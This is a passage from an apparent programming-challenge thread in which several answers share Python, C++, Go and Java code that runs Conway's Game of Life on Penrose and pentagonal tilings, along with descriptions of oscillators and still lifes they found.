tiling. That leaves infinite growth, which I would argue isn't likely, and a p30+ oscillator, which almost certainly exists but will take a while to find. `python penrose-life.py` will generate a single randomly colored periodic tiling `python -O penrose-life.py` or just `./penrose-life.py` will actually run the simulation. While running it will try to identify oscillators, and when it finds one (p>2) it will screenshot it. After recording an oscillator, or a stalled board, the board is randomized. Clicking a cell in the simulation will toggle it. The following keyboard shortcuts exist in the simulation: * Escape - quit the program * Space - randomize the whole board * P - pause the simulation * S - single step the simulation * F - toggle "fast" mode, rendering only every 25th frame The initial seed of the penrose tiling algorithm is a circle of ten narrow triangles. This could be changed to single triangle, or a different arrangement of triangles, symmetric or not. Source: ``` #!/usr/bin/env python -O # tiling generation code originally from http://preshing.com/files/penrose.py import sys import math import time import cairo import cmath import random import pygame #TODO: command line parameters #------ Configuration -------- IMAGE_SIZE = (1200, 1200) OFFX = 600 OFFY = 600 RADIUS = 600 if __debug__: NUM_SUBDIVISIONS = 5 else: NUM_SUBDIVISIONS = 7 #----------------------------- goldenRatio = (1 + math.sqrt(5)) / 2 class Triangle(): def __init__(self, parent = None, color = 0, corners = []): self.parent = parent self.other_half = None # immediate neighbor 0 is on BA side, 1 is on AC side self.neighbors = [None, None] # all_neighbors includes diagonal neighbors self.all_neighbors = set() # child 0 is first on BA side, 1 is second, 2 is on AC side self.children = [] self.color = color if __debug__: self.debug_color = (random.random(),random.random(),random.random()) self.state = random.randint(0,1) self.new_state = 0 self.corners = corners self.quad = None def __repr__(self): return "Triangle: state=" + str(self.state) + \ " color=" + str(self.color) + \ " parent=" + ("yes" if self.parent else "no") + \ " corners=" + str(self.corners) # break one triangle up into 2-3 smaller triangles def subdivide(self): result = [] A,B,C = self.corners if self.color == 0: # Subdivide red triangle P = A + (B - A) / goldenRatio result = [Triangle(self, 0, (C, P, B)), Triangle(self, 1, (P, C, A))] else: # Subdivide blue triangle Q = B + (A - B) / goldenRatio R = B + (C - B) / goldenRatio result = [Triangle(self, 1, (Q, R, B)), Triangle(self, 0, (R, Q, A)), Triangle(self, 1, (R, C, A))] self.children.extend(result) return result; # identify the left and right neighbors of a triangle def connect_immediate(self): o = None n = self.neighbors if self.parent: if self.color == 0: # red child if self.parent.color == 0: # red parent if self.parent.neighbors[0]: if self.parent.neighbors[0].color == 0: # red left neighbor o = self.parent.neighbors[0].children[0] else: # blue left neighbor o = self.parent.neighbors[0].children[1] n[0] = self.parent.children[1] if self.parent.other_half: n[1] = self.parent.other_half.children[0] else: # blue parent if self.parent.neighbors[0]: if self.parent.neighbors[0].color == 0: # red left neighbor o = self.parent.neighbors[0].children[0] else: # blue left neighbor o = self.parent.neighbors[0].children[1] n[0] = self.parent.children[0] n[1] = self.parent.children[2] else: # blue child if self.parent.color == 0: # red parent if self.parent.neighbors[1]: if self.parent.neighbors[1].color == 0: # red right neighbor o = self.parent.neighbors[1].children[1] else: # blue right neighbor o = self.parent.neighbors[1].children[2] n[0] = self.parent.children[0] if self.parent.neighbors[0]: if self.parent.neighbors[0].color == 0: # red left neighbor n[1] = self.parent.neighbors[0].children[1] else: # blue left neighbor n[1] = self.parent.neighbors[0].children[0] else: # blue child of blue parent if self.corners[2] == self.parent.corners[1]: # first blue child if self.parent.other_half: o = self.parent.other_half.children[0] n[0] = self.parent.children[1] if self.parent.neighbors[0]: if self.parent.neighbors[0].color == 0: # red left neighbor n[1] = self.parent.neighbors[0].children[1] else: #blue left neighbor n[1] = self.parent.neighbors[0].children[0] else: # second blue child if self.parent.neighbors[1]: if self.parent.neighbors[1].color == 0: # red right neighbor o = self.parent.neighbors[1].children[1] else: # blue right neighbor o = self.parent.neighbors[1].children[2] if self.parent.other_half: n[0] = self.parent.other_half.children[2] n[1] = self.parent.children[1] self.other_half = o if o: self.state = self.other_half.state if __debug__: self.debug_color = self.other_half.debug_color #TODO: different seed triangle configurations # Create wheel of red triangles around the origin triangles = [[]] for i in xrange(10): B = cmath.rect(RADIUS, (2*i - 1) * math.pi / 10)+OFFX+OFFY*1j C = cmath.rect(RADIUS, (2*i + 1) * math.pi / 10)+OFFX+OFFY*1j if i % 2 == 0: B, C = C, B # Make sure to mirror every second triangle triangles[0].append(Triangle(None, 0, (OFFX+OFFY*1j, B, C))) # identify the neighbors of the starting triangles for i in xrange(10): if i%2: triangles[0][i].neighbors[0] = triangles[0][(i+9)%10] triangles[0][i].neighbors[1] = triangles[0][(i+1)%10] else: triangles[0][i].neighbors[1] = triangles[0][(i+9)%10] triangles[0][i].neighbors[0] = triangles[0][(i+1)%10] # Perform subdivisions for i in xrange(NUM_SUBDIVISIONS): triangles.append([]) for t in triangles[i]: triangles[i+1].extend(t.subdivide()) for t in triangles[i+1]: t.connect_immediate() # from here on, we only deal with the most-subdivided triangles tris = triangles[NUM_SUBDIVISIONS] # make a dict of every vertex, containing a list of every triangle sharing that vertex vertices = {} for t in tris: for c in t.corners: if c not in vertices: vertices[c] = [] vertices[c].append(t) # every triangle sharing a vertex are neighbors of each other for v,triset in vertices.iteritems(): for t in triset: t.all_neighbors.update(triset) # combine mirrored triangles into quadrilateral cells quads = [] total_neighbors = 0 for t in tris: if t.quad == None and t.other_half != None: quads.append(t) q = t q.corners = (q.corners[0], q.corners[1], q.other_half.corners[0], q.corners[2]) q.quad = q q.other_half.quad = q q.all_neighbors.update(q.other_half.all_neighbors) q.all_neighbors.remove(q.other_half) q.all_neighbors.remove(q) total_neighbors += len(q.all_neighbors) # clean up quads who still think they have triangles for neighbors for q in quads: new_neighbors = set() for n in q.all_neighbors: if len(n.corners)==3: if n.other_half: if len(n.other_half.corners)==4: new_neighbors.add(n.other_half) else: new_neighbors.add(n) q.all_neighbors = new_neighbors # # adopt your other half's neighbors, minus them and yourself. mark other half as dead. # for t in tris: # if t.other_half: # t.all_neighbors.update(t.other_half.all_neighbors) # t.all_neighbors.remove(t) # if t.other_half and t.other_half in t.all_neighbors: # t.all_neighbors.remove(t.other_half) # if t.other_half and not t.dead_half: # t.other_half.dead_half = True pygame.init() screen = pygame.display.set_mode(IMAGE_SIZE, 0, 32) pygame.display.set_caption("Penrose Life") pygame.display.flip() paused = False fast = False randomize = True found_oscillator = 0 randomized_tick = 0 tick = 0 timed_tick = 0 timed_tick_time = time.clock() render_countdown = 0 history_length = 45 quad_history = [[0]*len(quads)]*history_length quad_pointer = 0 myfont = pygame.font.SysFont("monospace", 15) guidish = random.randint(0,99999999) while True: tick += 1 if tick - randomized_tick > 1000 and render_countdown == 0: randomize = True edited = False step = False if found_oscillator > 0 and render_countdown == 0: print "Potential p" + str(found_oscillator) + " osillator" render_countdown = found_oscillator if render_countdown == 0: # don't handle input while rendering an oscillator for event in pygame.event.get(): if event.type == pygame.QUIT: sys.exit(0) elif event.type == pygame.KEYDOWN: # print event if event.scancode == 53: # escape sys.exit(0) elif event.unicode == " ": # randomize randomize = True edited = True elif event.unicode == "p": # pause paused = not paused elif event.unicode == "f": # fast fast = not fast elif event.unicode == "s": # step paused = True step = True elif event.type == pygame.MOUSEBUTTONDOWN: # click to toggle a cell x = event.pos[0] y = event.pos[1] for q in quads: poly = [(c.real,c.imag) for c in q.corners] # http://www.ariel.com.au/a/python-point-int-poly.html n = len(poly) inside = False p1x,p1y = poly[0] for i in range(n+1): p2x,p2y = poly[i % n] if y > min(p1y,p2y): if y <= max(p1y,p2y): if x <= max(p1x,p2x): if p1y != p2y: xinters = (y-p1y)*(p2x-p1x)/(p2y-p1y)+p1x if p1x == p2x or x <= xinters: inside = not inside p1x,p1y = p2x,p2y if inside: edited = True q.state = 0 if q.state==1 else 1 if randomize and render_countdown == 0: randomized_tick = tick randomize = False for q in quads: q.state = random.randint(0,1) edited = True if (not fast) or (tick%25==0) or edited or render_countdown > 0: # draw filled quads for q in quads: cs = [(c.real,c.imag) for c in q.corners] if __debug__: color = q.debug_color color = (int(color[0]*256)<<24)+(int(color[1]*256)<<16)+(int(color[2]*256)<<8)+0xFF else: if q.state == 0: color = 0xFFFFFFFF else: color = 0x000000FF pygame.draw.polygon(screen, color, cs, 0) # draw edges for q in quads: if len(q.corners)==3: exit(1) cs = [(c.real,c.imag) for c in q.corners] width = 3 pygame.draw.lines(screen, 0x7F7F7FFF, 1, cs, int(width)) now = time.clock() speed = (tick-timed_tick)/(now-timed_tick_time) timed_tick_time = now timed_tick = tick screen.blit(screen, (0, 0)) label = myfont.render("%4.2f/s"%speed, 1, (255,255,255)) screen.fill(pygame.Color("black"), (0, 0, 110, 15)) screen.blit(label, (0, 0)) pygame.display.update() if __debug__: break if paused and not step and render_countdown == 0: time.sleep(0.05) continue # screenshot if render_countdown > 0: filename = "oscillator_p%03d_%08d_%03d.png" % (found_oscillator, guidish, found_oscillator - render_countdown) pygame.image.save(screen,filename) render_countdown -= 1 if render_countdown == 0: guidish = random.randint(0,99999999) found_oscillator = 0 randomize = True continue # calculate new cell states based on the Game of Life rules for q in quads: a = sum([n.state for n in q.all_neighbors]) q.new_state = q.state # dead cells with three neighbors spawn if q.state == 0 and a == 3: q.new_state = 1 # live cells only survive with two or three neighbors elif a < 2 or a > 3: q.new_state = 0 # update cell states for q in quads: q.state = q.new_state this_state = [q.state for q in quads] # don't bother checking if render_countdown == 0: # compare this board state to the last N-1 states for i in range(1,history_length): if quad_history[(quad_pointer-i)%history_length] == this_state: if i == 1 or i == 2: # stalled board or p2 oscillator (boring) randomize = True break #TODO: give up if the "oscillator" includes border cells #TODO: identify cases of two oprime oscillators overlapping elif i > 2: found_oscillator = i break # don't keep looking # remember this board state quad_history[quad_pointer] = this_state quad_pointer = (quad_pointer+1)%history_length if __debug__: filename = "penrose.png" pygame.image.save(screen,filename) time.sleep(1) ``` [Answer] # C++ w/ OpenGL (+17) So I tried 3-Isohedral convex pentagon grid. Works for me ;) Standard game of life rules apply, except the grid is not infinite - there are border cells outside the image. 30% of the cells are initially alive. **This is how the grid looks like:** ![enter image description here](https://i.stack.imgur.com/bAMBe.gif) **The live version:** Blue cells are alive, white are dead. Red cells just died, green were just born. Note that the artifacts in the image are the result of gif compression, SO doesn't like 10MB gifs :(. ![enter image description here](https://i.stack.imgur.com/fqJHf.gif) **Still life:** (+2) ![enter image description here](https://i.stack.imgur.com/H4TEd.png) **Oscillators T=2, T=3, T=12:** (+9) ![enter image description here](https://i.stack.imgur.com/dw18h.gif) ![enter image description here](https://i.stack.imgur.com/gHzDs.gif) **Oscillators T=6 , T=7:** (+6) ![enter image description here](https://i.stack.imgur.com/5257y.gif) There are many more different oscillators... But it seems that the grid is not regular enough for a ship... **This is nothing (no points), but I like it:** ![enter image description here](https://i.stack.imgur.com/iRSn3.gif) The code is a mess :) Uses some ancient fixed OpenGL. Otherwise used GLEW, GLFW, GLM and ImageMagick for gif export. ``` /** * Tile pattern generation is inspired by the code * on http://www.jaapsch.net/tilings/ * It saved me a lot of thinkink (and debugging) - thank you, sir! */ #include <GL/glew.h> #include <GLFW/glfw3.h> #include <FTGL/ftgl.h> //debug only #include <ImageMagick-6/Magick++.h> //gif export #include "glm/glm.hpp" #include <iostream> #include <array> #include <vector> #include <set> #include <algorithm> #include <unistd.h> typedef glm::vec2 Point; typedef glm::vec3 Color; struct Tile { enum State {ALIVE=0, DEAD, BORN, DIED, SIZE}; static const int VERTICES = 5; static constexpr float SCALE = 0.13f; static constexpr std::array<std::array<int, 7>, 18> DESC {{ {{1, 0,0, 0,0,0, 0}}, {{0, 1,2, 0,2,1, 0}}, {{2, 2,3, 0,2,3, 1}}, {{1, 0,4, 0,0,1, 0}}, {{0, 1,2, 3,2,1, 0}}, {{2, 2,3, 3,2,3, 1}}, {{1, 0,4, 3,0,1, 0}}, {{0, 1,2, 6,2,1, 0}}, {{2, 2,3, 6,2,3, 1}}, {{1, 0,4, 6,0,1, 0}}, {{0, 1,2, 9,2,1, 0}}, {{2, 2,3, 9,2,3, 1}}, {{1, 0,4, 9,0,1, 0}}, {{0, 1,2,12,2,1, 0}}, {{2, 2,3,12,2,3, 1}}, {{1, 0,4,12,0,1, 0}}, {{0, 1,2,15,2,1, 0}}, {{2, 2,3,15,2,3, 1}} }}; const int ID; std::vector<Point> coords; std::set<Tile*> neighbours; State state; State nextState; Color color; Tile() : ID(-1), state(DEAD), nextState(DEAD), color(1, 1, 1) { const float ln = 0.6f; const float h = ln * sqrt(3) / 2.f; coords = { Point(0.f, 0.f), Point(ln, 0.f), Point(ln*3/2.f,h), Point(ln, h*4/3.f), Point(ln/2.f, h) }; for(auto &c : coords) { c *= SCALE; } } Tile(const int id, const std::vector<Point> coords_) : ID(id), coords(coords_), state(DEAD), nextState(DEAD), color(1, 1, 1) {} bool operator== (const Tile &other) const { return ID == other.ID; } const Point & operator[] (const int i) const { return coords[i]; } void updateState() { state = nextState; } /// returns "old" state bool isDead() const { return state == DEAD || state == DIED; } /// returns "old" state bool isAlive() const { return state == ALIVE || state == BORN; } void translate(const Point &p) { for(auto &c : coords) { c += p; } } void rotate(const Point &p, const float angle) { const float si = sin(angle); const float co = cos(angle); for(auto &c : coords) { Point tmp = c - p; c.x = tmp.x * co - tmp.y * si + p.x; c.y = tmp.y * co + tmp.x * si + p.y; } } void mirror(const float y2) { for(auto &c : coords) { c.y = y2 - (c.y - y2); } } }; std::array<std::array<int, 7>, 18> constexpr Tile::DESC; constexpr float Tile::SCALE; class Game { static const int CHANCE_TO_LIVE = 30; //% of cells initially alive static const int dim = 4; //evil grid param FTGLPixmapFont &font; std::vector<Tile> tiles; bool animate; //animate death/birth bool debug; //show cell numbers (very slow) bool exportGif; //save gif bool run; public: Game(FTGLPixmapFont& font) : font(font), animate(false), debug(false), exportGif(false), run(false) { //create the initial pattern std::vector<Tile> init(18); for(int i = 0; i < Tile::DESC.size(); ++i) { auto &desc = Tile::DESC[i]; Tile &tile = init[i]; switch(desc[0]) { //just to check the grid case 0: tile.color = Color(1, 1, 1);break; case 1: tile.color = Color(1, 0.7, 0.7);break; case 2: tile.color = Color(0.7, 0.7, 1);break; } if(desc[3] != i) { const Tile &tile2 = init[desc[3]]; tile.translate(tile2[desc[4]] - tile[desc[1]]); if(desc[6] != 0) { float angleRad = getAngle(tile[desc[1]], tile[desc[2]]); tile.rotate(tile[desc[1]], -angleRad); tile.mirror(tile[desc[1]].y); angleRad = getAngle(tile[desc[1]], tile2[desc[5]]); tile.rotate(tile[desc[1]], angleRad); } else { float angleRad = getAngle(tile[desc[1]], tile[desc[2]], tile2[desc[5]]); tile.rotate(tile[desc[1]], angleRad); } } } const float offsets[4] { init[2][8].x - init[8][9].x, init[2][10].y - init[8][11].y, init[8][12].x - init[14][13].x, init[8][14].y - init[14][15].y }; // create all the tiles for(int dx = -dim; dx <= dim; ++dx) { //fuck bounding box, let's hardcode it for(int dy = -dim; dy <= dim; ++dy) { for(auto &tile : init) { std::vector<Point> vert; for(auto &p : tile.coords) { float ax = dx * offsets[0] + dy * offsets[2]; float ay = dx * offsets[1] + dy * offsets[3]; vert.push_back(Point(p.x + ax, p.y + ay)); } tiles.push_back(Tile(tiles.size(), vert)); tiles.back().color = tile.color; tiles.back().state = tile.state; } } } //stupid bruteforce solution, but who's got time to think.. for(Tile &tile : tiles) { //find neighbours for each cell for(Tile &t : tiles) { if(tile == t) continue; for(Point &p : t.coords) { for(Point &pt : tile.coords) { if(glm::distance(p, pt) < 0.01 ) { tile.neighbours.insert(&t); break; } } } } assert(tile.neighbours.size() <= 9); } } void init() { for(auto &t : tiles) { if(rand() % 100 < CHANCE_TO_LIVE) { t.state = Tile::BORN; } else { t.state = Tile::DEAD; } } } void update() { for(auto &tile: tiles) { //check colors switch(tile.state) { case Tile::BORN: //animate birth tile.color.g -= 0.05; tile.color.b += 0.05; if(tile.color.b > 0.9) { tile.state = Tile::ALIVE; } break; case Tile::DIED: //animate death tile.color += 0.05; if(tile.color.g > 0.9) { tile.state = Tile::DEAD; } break; } //fix colors after animation switch(tile.state) { case Tile::ALIVE: tile.color = Color(0, 0, 1); break; case Tile::DEAD: tile.color = Color(1, 1, 1); break; } //draw polygons glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); glBegin(GL_POLYGON); glColor3f(tile.color.r, tile.color.g, tile.color.b); for(auto &pt : tile.coords) { glVertex2f(pt.x, pt.y); //haha so oldschool! } glEnd(); } //draw grid glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); glColor3f(0, 0, 0); for(auto &tile : tiles) { glBegin(GL_POLYGON); Point c; //centroid of tile for(auto &pt : tile.coords) { glVertex2f(pt.x, pt.y); c += pt; } glEnd(); if(debug) { c /= (float) Tile::VERTICES; glRasterPos2f(c.x - 0.025, c.y - 0.01); font.Render(std::to_string(tile.ID).c_str()); // } } if(!run) { return; } //compute new generation for(Tile &tile: tiles) { tile.nextState = tile.state; //initialize next state int c = 0; for(auto *n : tile.neighbours) { if(n->isAlive()) c++; } switch(c) { case 2: break; case 3: if(tile.isDead()) { tile.nextState = animate ? Tile::BORN : Tile::ALIVE; tile.color = Color(0, 1, 0); } break; default: if(tile.isAlive()) { tile.nextState = animate ? Tile::DIED : Tile::DEAD; tile.color = Color(1, 0, 0); } break; } } //switch state to new for(Tile &tile: tiles) { tile.updateState(); } } void stop() {run = false;} void switchRun() {run = !run;} bool isRun() {return run;} void switchAnim() {animate = !animate;} bool isAnim() {return animate;} void switchExportGif() {exportGif = !exportGif;} bool isExportGif() {return exportGif;} void switchDebug() {debug = !debug;} bool isDebug() const {return debug;} private: static float getAngle(const Point &p0, const Point &p1, Point const &p2) { return atan2(p2.y - p0.y, p2.x - p0.x) - atan2(p1.y - p0.y, p1.x - p0.x); } static float getAngle(const Point &p0, const Point &p1) { return atan2(p1.y - p0.y, p1.x - p0.x); } }; class Controlls { Game *game; std::vector<Magick::Image> *gif; Controlls() : game(nullptr), gif(nullptr) {} public: static Controlls& getInstance() { static Controlls instance; return instance; } static void keyboardAction(GLFWwindow* window, int key, int scancode, int action, int mods) { getInstance().keyboardActionImpl(key, action); } void setGame(Game *game) { this->game = game; } void setGif(std::vector<Magick::Image> *gif) { this->gif = gif; } private: void keyboardActionImpl(int key, int action) { if(!game || action == GLFW_RELEASE) { return; } switch (key) { case 'R': game->stop(); game->init(); if(gif) gif->clear(); break; case GLFW_KEY_SPACE: game->switchRun(); break; case 'A': game->switchAnim(); break; case 'D': game->switchDebug(); break; break; case 'G': game->switchExportGif(); break; }; } }; int main(int argc, char** argv) { const int width = 620; //window size const int height = 620; const std::string window_title ("Game of life!"); const std::string font_file ("/usr/share/fonts/truetype/arial.ttf"); const std::string gif_file ("./gol.gif"); if(!glfwInit()) return 1; GLFWwindow* window = glfwCreateWindow(width, height, window_title.c_str(), NULL, NULL); glfwSetWindowPos(window, 100, 100); glfwMakeContextCurrent(window); GLuint err = glewInit(); if (err != GLEW_OK) return 2; FTGLPixmapFont font(font_file.c_str()); if(font.Error()) return 3; font.FaceSize(8); std::vector<Magick::Image> gif; //gif export std::vector<GLfloat> pixels(3 * width * height); Game gol(font); gol.init(); Controlls &controlls = Controlls::getInstance(); controlls.setGame(&gol); controlls.setGif(&gif); glfwSetKeyCallback(window, Controlls::keyboardAction); glClearColor(1.f, 1.f, 1.f, 0); while(!glfwWindowShouldClose(window) && !glfwGetKey(window, GLFW_KEY_ESCAPE)) { glClear(GL_COLOR_BUFFER_BIT); gol.update(); //add layer to gif if(gol.isExportGif()) { glReadPixels(0, 0, width, height, GL_RGB, GL_FLOAT, &pixels[0]); Magick::Image image(width, height, "RGB", Magick::FloatPixel, &pixels[0]); image.animationDelay(50); gif.push_back(image); } std::string info = "ANIMATE (A): "; info += gol.isAnim() ? "ON " : "OFF"; info += " | DEBUG (D): "; info += gol.isDebug() ? "ON " : "OFF"; info += " | EXPORT GIF (G): "; info += gol.isExportGif() ? "ON " : "OFF"; info += gol.isRun() ? " | STOP (SPACE)" : " | START (SPACE)"; font.FaceSize(10); glRasterPos2f(-.95f, -.99f); font.Render(info.c_str()); if(gol.isDebug()) font.FaceSize(8); if(!gol.isDebug()) usleep(50000); //not so fast please! glfwSwapBuffers(window); glfwPollEvents(); } //save gif to file if(gol.isExportGif()) { std::cout << "saving " << gif.size() << " frames to gol.gif\n"; gif.back().write("./last.png"); Magick::writeImages(gif.begin(), gif.end(), gif_file); } glfwTerminate(); return 0; } ``` [Answer] ## Go, ? points So rather than pin myself down to a particular tiling, I wrote a program that takes a gif or png of a tiling and runs life on it. The gif/png must use a single color for all the tiles. ``` package main import ( "flag" "image" "image/color" "image/gif" "image/png" "math/rand" "os" "strings" ) func main() { flag.Parse() filename := flag.Args()[0] r, err := os.Open(filename) if err != nil { panic(err) } var i image.Image if strings.HasSuffix(filename, ".gif") { i, err = gif.Decode(r) if err != nil { panic(err) } } if strings.HasSuffix(filename, ".png") { i, err = png.Decode(r) if err != nil { panic(err) } } // find background color back := background(i) // find connected regions n, m := regions(i, back) // find edges between regions edges := graph(i, m) // run life on the tiling life(i, n, m, edges) } // Find the most-common occurring color. // This is the "background" color. func background(i image.Image) color.Color { hist := map[color.Color]int{} b := i.Bounds() for y := b.Min.Y; y < b.Max.Y; y++ { for x := b.Min.X; x < b.Max.X; x++ { hist[i.At(x, y)]++ } } maxn := 0 var maxc color.Color for c, n := range hist { if n > maxn { maxn = n maxc = c } } return maxc } // find connected regions. Returns # of regions and a map from pixels to their region numbers. func regions(i image.Image, back color.Color) (int, map[image.Point]int) { // m maps each background point to a region # m := map[image.Point]int{} // number regions consecutively id := 0 b := i.Bounds() for y := b.Min.Y; y < b.Max.Y; y++ { for x := b.Min.X; x < b.Max.X; x++ { if i.At(x, y) != back { continue } p := image.Point{x, y} if _, ok := m[p]; ok { continue // already in a region } q := []image.Point{p} m[p] = id k := 0 for k < len(q) { z := q[k] k++ for _, n := range [4]image.Point{{z.X - 1, z.Y}, {z.X + 1, z.Y}, {z.X, z.Y - 1}, {z.X, z.Y + 1}} { if !n.In(b) || i.At(n.X, n.Y) != back { continue } if _, ok := m[n]; ok { continue } m[n] = id q = append(q, n) } } if len(q) < 10 { // really tiny region - probably junk in input data for _, n := range q { delete(m, n) } continue } id++ } } return id, m } // edge between two regions. r < s. type edge struct { r, s int } // returns a set of edges between regions. func graph(i image.Image, m map[image.Point]int) map[edge]struct{} { // delta = max allowed spacing between adjacent regions const delta = 6 e := map[edge]struct{}{} for p, r := range m { for dx := -delta; dx <= delta; dx++ { for dy := -delta; dy <= delta; dy++ { n := image.Point{p.X + dx, p.Y + dy} if _, ok := m[n]; !ok { continue } if m[n] > r { e[edge{r, m[n]}] = struct{}{} } } } } return e } // run life engine // i = image // n = # of regions // m = map from points to their region # // edges = set of edges between regions func life(i image.Image, n int, m map[image.Point]int, edges map[edge]struct{}) { b := i.Bounds() live := make([]bool, n) nextlive := make([]bool, n) palette := []color.Color{color.RGBA{0, 0, 0, 255}, color.RGBA{128, 0, 0, 255}, color.RGBA{255, 255, 128, 255}} // lines, on, off var frames []*image.Paletted var delays []int // pick random starting lives for j := 0; j < n; j++ { if rand.Int()%2 == 0 { live[j] = true nextlive[j] = true } } for round := 0; round < 100; round++ { // count live neighbors neighbors := make([]int, n) for e := range edges { if live[e.r] { neighbors[e.s]++ } if live[e.s] { neighbors[e.r]++ } } for j := 0; j < n; j++ { nextlive[j] = neighbors[j] == 3 || (live[j] && neighbors[j] == 2) } // add a frame frame := image.NewPaletted(b, palette) for y := b.Min.Y; y < b.Max.Y; y++ { for x := b.Min.X; x < b.Max.X; x++ { frame.SetColorIndex(x, y, 0) } } for p, r := range m { if live[r] { frame.SetColorIndex(p.X, p.Y, 1) } else { frame.SetColorIndex(p.X, p.Y, 2) } } frames = append(frames, frame) delays = append(delays, 30) live, nextlive = nextlive, live } // write animated gif of result w, err := os.Create("animated.gif") if err != nil { panic(err) } gif.EncodeAll(w, &gif.GIF{Image: frames, Delay: delays, LoopCount: 100}) w.Close() } ``` Then I just went on the web, grabbed some fun tiling images and ran the program on them. ``` go run life.go penrose1.go ``` It generates a file called "animated.gif" which contains a 100-step life simulation of the given tiling. Standard life: ![enter image description here](https://i.stack.imgur.com/3PkBe.gif) ![enter image description here](https://i.stack.imgur.com/BAOwA.gif) Penrose tiles: ![enter image description here](https://i.stack.imgur.com/nbY1w.png) ![enter image description here](https://i.stack.imgur.com/G83av.gif) ![enter image description here](https://i.stack.imgur.com/gZ0MZ.png) ![enter image description here](https://i.stack.imgur.com/Ox1VC.gif) Above one has an oscillator of period 12. ![enter image description here](https://i.stack.imgur.com/ATvpm.gif) ![enter image description here](https://i.stack.imgur.com/q9RxP.gif) Above one has an oscillator of period 3. [Answer] # Java - 11 (ish) points Comes with fully (mostly) functioning interactive environment! **EDIT** Fatal flaw discovered :( The path of the alive regions is bounded by the area it is originally formed in. In order to pass the square - double-pentagon barrier, one must have a pre-shaded region on the other side. This is because each shape below it only touches 2 of the regions above it. This means no spaceships or expanding anything, which kind of limits the possibilities. I will try with a different pattern. BUT!!! if you still want to try it... try it [here](https://app.box.com/s/c8vq85cu3ezcxn20cqyo). oscillator ![enter image description here](https://i.stack.imgur.com/MFmPf.gif) Don't know what to call this one - another oscillator ![enter image description here](https://i.stack.imgur.com/WJVQk.gif) This one looks a little like a ninja star - still life ![enter image description here](https://i.stack.imgur.com/FSf2k.gif) this one looks like a fly - still life ![enter image description here](https://i.stack.imgur.com/tPY3J.gif) another oscillator ![enter image description here](https://i.stack.imgur.com/M99fF.gif) **EDIT** another oscillator found. I am naming this one the eagle. ![enter image description here](https://i.stack.imgur.com/GCpNM.gif) Hey! another oscillator! (period 4) The windmill. ![enter image description here](https://i.stack.imgur.com/D0tHV.gif) A 2 period one. ![enter image description here](https://i.stack.imgur.com/UtUZj.gif) There seems to be a structure that insulates the outside from the inside. This (and the previous example) uses it. The only thing that can break the box is if one of the boundary squares is alive at the beginning (so far). This, by the way, is the blinker - period 2. ![enter image description here](https://i.stack.imgur.com/Q09RX.gif) I built this in eclipse, and there are multiple files. Here they are. Main class - ``` import java.awt.Dimension; import java.awt.GridBagConstraints; import java.awt.GridBagLayout; import java.awt.Point; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.MouseEvent; import java.awt.event.MouseListener; import java.util.ArrayList; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.JTextField; import javax.swing.Timer; import javax.swing.event.DocumentEvent; import javax.swing.event.DocumentListener; public class Main { public static void main(String[] args) { new Main(); } Canvas canvas = new Canvas(); JFrame frame = new JFrame(); Timer timer; ShapeInfo info; int[][][] history; public Main() { JPanel panel = new JPanel(); panel.setMinimumSize(new Dimension(500,500)); panel.setLayout(new GridBagLayout()); frame.setMinimumSize(new Dimension(500,500)); frame.getContentPane().add(panel); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); //frame.setResizable(false); canvas.setMinimumSize(new Dimension(200,200)); GridBagConstraints c = new GridBagConstraints(); c.gridx = 0; c.gridy = 2; c.weightx = 1; c.weighty = 1; c.gridwidth = 2; c.fill = GridBagConstraints.BOTH; panel.add(canvas,c); JButton startButton = new JButton(); startButton.setText("click to start"); startButton.setMaximumSize(new Dimension(100,50)); GridBagConstraints g = new GridBagConstraints(); g.gridx =0; g.gridy = 0; g.weightx = 1; panel.add(startButton,g); JButton restartButton = new JButton(); restartButton.setText("revert"); GridBagConstraints b = new GridBagConstraints(); b.gridx = 0; b.gridy = 9; panel.add(restartButton,b); JButton clearButton = new JButton(); clearButton.setText("Clear"); GridBagConstraints grid = new GridBagConstraints(); grid.gridx = 1; grid.gridy = 0; panel.add(clearButton,grid); clearButton.addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent arg0) { info = new ShapeInfo(canvas.squaresWide,canvas.squaresHigh); restart(); } }); final JTextField scaleFactor = new JTextField(); scaleFactor.setText("5"); GridBagConstraints gh = new GridBagConstraints(); gh.gridx = 0; gh.gridy = 1; panel.add(scaleFactor,gh); scaleFactor.getDocument().addDocumentListener(new DocumentListener(){ @Override public void changedUpdate(DocumentEvent arg0) { doSomething(); } @Override public void insertUpdate(DocumentEvent arg0) { doSomething(); } @Override public void removeUpdate(DocumentEvent arg0) { doSomething(); } public void doSomething(){ try{ canvas.size = Integer.valueOf(scaleFactor.getText()); canvas.draw(info.allShapes); } catch(Exception e){} } }); timer = new Timer(1000, listener); frame.pack(); frame.setVisible(true); info = new ShapeInfo(canvas.squaresWide, canvas.squaresHigh); info.width = canvas.squaresWide; info.height = canvas.squaresHigh; history = cloneArray(info.allShapes); //history[8][11][1] = 1; canvas.draw(info.allShapes); restartButton.addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent arg0) { if(timer.isRunning() == true){ info.allShapes = cloneArray(history); restart(); } } }); canvas.addMouseListener(new MouseListener(){ @Override public void mouseClicked(MouseEvent e) { int x = e.getLocationOnScreen().x - canvas.getLocationOnScreen().x; int y = e.getLocationOnScreen().y - canvas.getLocationOnScreen().y; Point location = new Point(x,y); for(PolygonInfo p:canvas.polygons){ if(p.polygon.contains(location)){ if(info.allShapes[p.x][p.y][p.position-1] == 1){ info.allShapes[p.x][p.y][p.position-1] = 0; } else{ info.allShapes[p.x][p.y][p.position-1] = 1; } } } canvas.draw(info.allShapes); history = cloneArray(info.allShapes); } @Override public void mouseEntered(MouseEvent arg0) { } @Override public void mouseExited(MouseEvent arg0) { } @Override public void mousePressed(MouseEvent arg0) { } @Override public void mouseReleased(MouseEvent arg0) { } }); startButton.addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent arg0) { timer.start(); } }); } public int[][][] cloneArray(int[][][] array){ int[][][] newArray = new int[array.length][array[0].length][array[0][0].length]; for(int x = 0;x<array.length;x++){ int[][] subArray = array[x]; for(int y = 0; y < subArray.length;y++){ int subSubArray[] = subArray[y]; newArray[x][y] = subSubArray.clone(); } } return newArray; } public void restart(){ timer.stop(); 